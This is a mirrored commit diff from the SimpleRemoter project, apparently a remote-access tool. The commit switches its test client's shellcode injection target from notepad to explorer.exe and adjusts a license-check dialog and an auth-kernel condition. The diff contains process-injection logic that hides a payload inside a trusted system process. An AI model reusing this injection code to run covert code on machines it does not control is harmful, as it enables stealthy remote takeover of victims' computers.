admin/SimpleRemoter
1
0
Fork 0
mirror of https://github.com/yuanyuanxiang/SimpleRemoter.git synced 2026-01-21 23:13:08 +08:00
Code Issues Packages Projects Releases Wiki Activity

TestRun: Change inject shellcode to explorer <- notepad

Browse Source
This commit is contained in:
yuanyuanxiang
2026-01-01 22:51:15 +01:00
parent 5d61ae57ca
commit e86afe74da
4 changed files with 10 additions and 8 deletions
Download Patch File Download Diff File Expand all files Collapse all files

4
client/LoginServer.cpp
View File

@@ -336,7 +336,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, BOOL& isAuthKerne
std::string pid = std::to_string(GetCurrentProcessId()); std::string pid = std::to_string(GetCurrentProcessId());
HANDLE hEvent1 = OpenEventA(SYNCHRONIZE, FALSE, std::string("YAMA_" + pid).c_str()); HANDLE hEvent1 = OpenEventA(SYNCHRONIZE, FALSE, std::string("YAMA_" + pid).c_str());
HANDLE hEvent2 = OpenEventA(SYNCHRONIZE, FALSE, std::string("EVENT_" + pid).c_str()); HANDLE hEvent2 = OpenEventA(SYNCHRONIZE, FALSE, std::string("EVENT_" + pid).c_str());
if (hEvent1 != NULL || hEvent2 != NULL) WIN32_FILE_ATTRIBUTE_DATA fileInfo;
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
if ((hEvent1 != NULL || hEvent2 != NULL) && fileInfo.nFileSizeLow > 16 * 1024 * 1024)
{ {
Mprintf("Check event handle: %d, %d\n", hEvent1 != NULL, hEvent2 != NULL); Mprintf("Check event handle: %d, %d\n", hEvent1 != NULL, hEvent2 != NULL);
isAuthKernel = TRUE; isAuthKernel = TRUE;

4
client/test.cpp
View File

@@ -262,7 +262,7 @@ int main(int argc, const char *argv[])
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port); g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
} }
// 此 Shell code 连接本机6543端口，注入到记事本 // 此 Shell code 连接本机6543端口，注入到任务管理器
if (g_ConnectAddress.iStartup == Startup_InjSC) { if (g_ConnectAddress.iStartup == Startup_InjSC) {
// Try to inject shell code to `notepad.exe` // Try to inject shell code to `notepad.exe`
// If failed then run memory DLL // If failed then run memory DLL
@@ -272,7 +272,7 @@ int main(int argc, const char *argv[])
do { do {
if (sizeof(void*) == 4) // Shell code is 64bit if (sizeof(void*) == 4) // Shell code is 64bit
break; break;
if (!(pid = inj.InjectProcess(nullptr, ok))) { if (!(pid = inj.InjectProcess("explorer.exe", ok))) {
break; break;
} }
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid); HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);

6
server/2015Remote/2015RemoteDlg.cpp
View File

@@ -1948,7 +1948,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail)
auto v = splitString(dlg.m_sPassword.GetBuffer(), '-'); auto v = splitString(dlg.m_sPassword.GetBuffer(), '-');
if (v.size() != 6 && v.size() != 7) { if (v.size() != 6 && v.size() != 7) {
THIS_CFG.SetStr(settings, pwdKey, ""); THIS_CFG.SetStr(settings, pwdKey, "");
MessageBox("格式错误，请重新申请口令!", "提示", MB_ICONINFORMATION); THIS_APP->MessageBox("格式错误，请重新申请口令!", "提示", MB_ICONINFORMATION);
return false; return false;
} }
std::vector<std::string> subvector(v.end() - 4, v.end()); std::vector<std::string> subvector(v.end() - 4, v.end());
@@ -1961,7 +1961,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail)
THIS_CFG.SetStr(settings, "PwdHmac", ""); THIS_CFG.SetStr(settings, "PwdHmac", "");
if (pwd.IsEmpty() || hash256 != fixedKey || IDOK != dlg.DoModal()) { if (pwd.IsEmpty() || hash256 != fixedKey || IDOK != dlg.DoModal()) {
if (!dlg.m_sPassword.IsEmpty()) if (!dlg.m_sPassword.IsEmpty())
MessageBox("口令错误, 无法继续操作!", "提示", MB_ICONWARNING); THIS_APP->MessageBox("口令错误, 无法继续操作!", "提示", MB_ICONWARNING);
return false; return false;
} }
} }
@@ -1971,7 +1971,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail)
std::strftime(curDate, sizeof(curDate), "%Y%m%d", &pekingTime); std::strftime(curDate, sizeof(curDate), "%Y%m%d", &pekingTime);
if (curDate < v[0] || curDate > v[1]) { if (curDate < v[0] || curDate > v[1]) {
THIS_CFG.SetStr(settings, pwdKey, ""); THIS_CFG.SetStr(settings, pwdKey, "");
MessageBox("口令过期，请重新申请口令!", "提示", MB_ICONINFORMATION); THIS_APP->MessageBox("口令过期，请重新申请口令!", "提示", MB_ICONINFORMATION);
return false; return false;
} }
if (dlg.m_sPassword != pwd) if (dlg.m_sPassword != pwd)

4
server/2015Remote/BuildDlg.cpp
View File

@@ -204,7 +204,7 @@ void CBuildDlg::OnBnClickedOk()
int index = m_ComboExe.GetCurSel(), typ=index; int index = m_ComboExe.GetCurSel(), typ=index;
int is64bit = m_ComboBits.GetCurSel() == 0; int is64bit = m_ComboBits.GetCurSel() == 0;
if (index == IndexTestRun_InjSC && !is64bit) { if (index == IndexTestRun_InjSC && !is64bit) {
MessageBox("Shellcode 只能向64位记事本注入，注入器也只能是64位!", "提示", MB_ICONWARNING); MessageBox("Shellcode 只能向64位电脑注入，注入器也只能是64位!", "提示", MB_ICONWARNING);
return; return;
} }
int startup = Startup_DLL; int startup = Startup_DLL;
@@ -434,7 +434,7 @@ BOOL CBuildDlg::OnInitDialog()
pEdit->LimitText(99); pEdit->LimitText(99);
m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - 磁盘DLL"); m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - 磁盘DLL");
m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - 内存DLL"); m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - 内存DLL");
m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - 注入记事本"); m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - 注入任务管理器");
m_ComboExe.InsertString(IndexGhost, "ghost.exe"); m_ComboExe.InsertString(IndexGhost, "ghost.exe");
m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll"); m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll");